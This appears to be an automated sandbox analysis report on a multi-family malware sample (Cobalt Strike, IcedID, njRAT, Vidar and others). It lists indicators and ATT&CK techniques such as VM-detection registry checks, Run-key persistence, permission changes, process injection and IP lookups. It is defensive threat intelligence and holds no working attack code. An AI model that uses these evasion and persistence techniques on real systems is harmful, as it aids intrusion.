e827d48d4862ff034ee299d8b55afeab7ff85cc5aad5320ac1ad7daeba04a9fe

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
46	816	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2084	powershell.exe
4668	powershell.exe
4532	powershell.exe
4352	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
2820	takeown.exe
4964	icacls.exe
3412	icacls.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 5 IoCs

pid	Process
4712	Win-v43.exe
3956	Win-v42.exe
816	cmd.exe
768	svchost.exe
2592	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
2820	takeown.exe
4964	icacls.exe
3412	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	api64.ipify.org
41	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2540	powercfg.exe
4200	powercfg.exe
1624	powercfg.exe
3880	powercfg.exe
1296	powercfg.exe
380	powercfg.exe
4844	powercfg.exe

Drops file in System32 directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\System32\Win-v42.exe	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3316 set thread context of 816	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	140
PID 3316 set thread context of 768	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	142

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\Win-v41.exe	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
2000	cmd.exe
3088	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
3436	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 63 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018C01615598E72"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000c1efc38165655447b50ffde9ec5330e0000000000200000000001066000000010000200000003201556032d02a4930d347f9e414d4dfa2aae6e525e7498c8ffeaadd3b33b19f000000000e80000000020000200000009bcd5d1d45c600fd502bd8e812e91b117ea3fa16aded2607629ae21daf1755c6100600002e82801887de7d516268cfedaa9362a5c57210df57fefe62c66c4080862e93af0f4ce02d2eea148e30ca0d27a327e7cc1e13981a15702fd322bb4cf0ad463f854e523fce839d67a628a91c251cb0d86210dd9948228bae98d7a13814f3ecdcf940007dea1e9c1e5040daf53276cefd7f5b53559158526060cfa0971e4d241bd1fbad565aa4289419bea8a707760f7fde5b5c713a673e8a1353cab2820534252210df2ff51ae0f60d58ea95cf47624b6b8342b5b42cb519aa38e74d1a7cd368648904b3b7f1a71480eebc9e2ecd8f22c0c3e4e69a9d2b914e067a286dc5ef41f0dc94828b78fe2c13cead68e5f77003c527d0eaa75fa4b1b830bac2f53f2ee04b4e30488d1826c1e674c9c7cd96b8704b2ef724f80d42300a7d431c27c4a971214b68182e650f2ee3b2d0044050258d44bf05663d398d3088919c1f571f1f373f31e6b5b08cbb01caba780dc4d78299cf1a92385eae07109b579e676c959a21540cca6de685adeb4fe611fa1eeab0fa1eb6e138efef156c73d748c0202485c00bea69ec91c06d860e1fe6d79bd59f96a8e87d2869c9921b47bf0ddc7540495dbff511ae1d0da79617555be6b01ee6ea199aff150d613e4abe556cbe56cc8bb9cf9bfe3770ab660cd1c658fb1c1b8de508e0074696a4725f2cc6bfb60ba003b049f8fcaf6bb1860217f67fb0969f5668303ff948d2b080871d53022cdf532e012abd3afc770455b0a0a126b7632b1eb86e9c33a0c5985c31bdac9fd6aa15025eac05b8d7580d372ccefed1d5aaeb04eee6e3a1a5b5bae9d0448833014e3667286ab01bc80cbf8a244b77d112d7567dc38edc2dca9176d5979ee4cef27ebe884e0cc6053b03090ea5dd9a126a1dff86525d4e790a054c1cea7a01fd7622ec6b4fa2fef5886e66bdefc04e48b1172e6830325ed1f25bebfce26464dab9bcfca9abb7dbc918ca0a16eea51ae4b0308d04cd86163e7a1e73565d02261f8e13a8ee53e9e43d52ae2383cddcd2fdb003b53195890796287971872f3d1f2f89790190b053eff38b734f97c31ec949ebfef9f56efadafd9e213c9067fa218d6aa0987a5dd158e5cf2618a2c8dae29b26a09910c3f632a14e61452b0eaade9695150bd2f4e7bd4dc55d5d4e6ebf7a144fad0c218ca51c3cade8c5acf040f7830190dc71bdf301fa2b53369cf16525073c4b38812876d3ba307b974966b4ac4c0ad024c5e89137fa7d07f50ddee18bb45b458d9fb8029d7c7bef46d6b4c5eddb0523ad134ddcedc9c0c59069ca05dead7429961c3b8f5aa8e583fbaf6441b65dd2b4f23376de0dd988a629374ae12c548564549cf0198d57820b7e6de6e9c407f0d5556c47c944edad95d28242cd627551b841913ae00894624016a1ef05b5f28dcb195af57c9392f612bf387d7bab912aed3046b7986815c723ce49d28ade4f3b2f9a422b01db645d817a7d9092a0b4512162c667da87475b7a097574a653ed4e7489d237d48a6365f4337b1e626d0812f926431a21c0727c0fd8615d890fa20fee7f4bc4bfeca95913f3880af78894b605d20672112d04ee8a4752c736c51152f18c9c1ff60bf8cb7d4382e965771af7a40a43fa355d872c23808980d0dc7ed058812b63dfe6ada1c62c3d573b04843d5e2ee510db469003922e16f78408959ae4303e2cc69fb06656f9d3a567831a585e7a90395971310218da9eabd67a576bd7e1ba10daae9de25e89a386a0ef14cac04a892d6fa64bbc9169fa43d36f2988732cce9ab8b40d3b41a78ba7cd5e4d1e517de8ee0454749cd1c99734d41b17e85fb649db2ccf540125e802f515281e50f3a1eaff1df1ecb73b831344f1bf872ac7dad2f1b80208ae815a7557dc1edaa4e022b00fb44a89939beb4e92c082d529377f7c600a515d74567b41fe3657835d9b7b49850888518b6f8b2fc8b57fc9fa417d9406ae07bdd4b2d698a0b46a7a161cfa9f33a2283e133d14835cb408bffd580ffe0ff257fdeb80a3c3381e81ab01b6f7d7ba4a90254fc053a91777b76cbe8c1b5659a4e67bd191c7ee60641172f4bfcd07880054b684b061e9bd831c4b120f623032e00013d2c6b29a62fba30e071aff6f419850f3b340147c6d7bb75a3a5f19f95aa4ce9c0bb1708ba71066df68e5163b7c41d9105b27a5e350a689c5585b5a53879c2bd0b24fd58ccf989d289839285be8df4000000071ca28a47f62c32f51b8ccd96720d2064d654f73d6dce96a9a492ac2f48e617b62b4dd5f6764bfd385518da8ec49385c8db37fcff587e01ab1ea65d334e12b3a	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={B0286E5B-F688-4754-A5AD-717BBA09DBA2}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 23 May 2026 23:25:42 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C01615598E72 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000c1efc38165655447b50ffde9ec5330e00000000002000000000010660000000100002000000041128272caa2eff246b33f2ce006df5b5b6ad4c7c4c6962e04d966eb932b6701000000000e8000000002000020000000df8f60da3c161c3b7a528fcb40abc958be112d8c262afa3cf608d23cdc432b4a80000000bbf29ce90a85438cb045aee75bec77c5280ca529fb0af6071ded17c8a62c110cfd7a459b435c8daf3d72cb4204140560c7ab420ed58520aa8c69c37daa606a6a0ec5e0615561ad08c903b36c86cbaca12e22ae7df01545d30b5d7d6fcd4ffb313ced384b15df393992353b0f1d5f2b319e475687c4c6eb70b84ae050d2b39cbb40000000284ff4d3b73dae4b5f2369dbb4d06f0aa41b7d9497b4b0af7a8bbd929a4a121f80fd7a4d064f6e0cc0264f25043d214e7aa457e76e7cdd6fb31d75f72457a6bb	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1779578741"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C01615598E72"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3088	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1188	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4668	powershell.exe
4668	powershell.exe
4532	powershell.exe
4532	powershell.exe
4352	powershell.exe
4352	powershell.exe
4712	Win-v43.exe
4712	Win-v43.exe
3956	Win-v42.exe
3956	Win-v42.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2084	powershell.exe
2084	powershell.exe
2084	powershell.exe
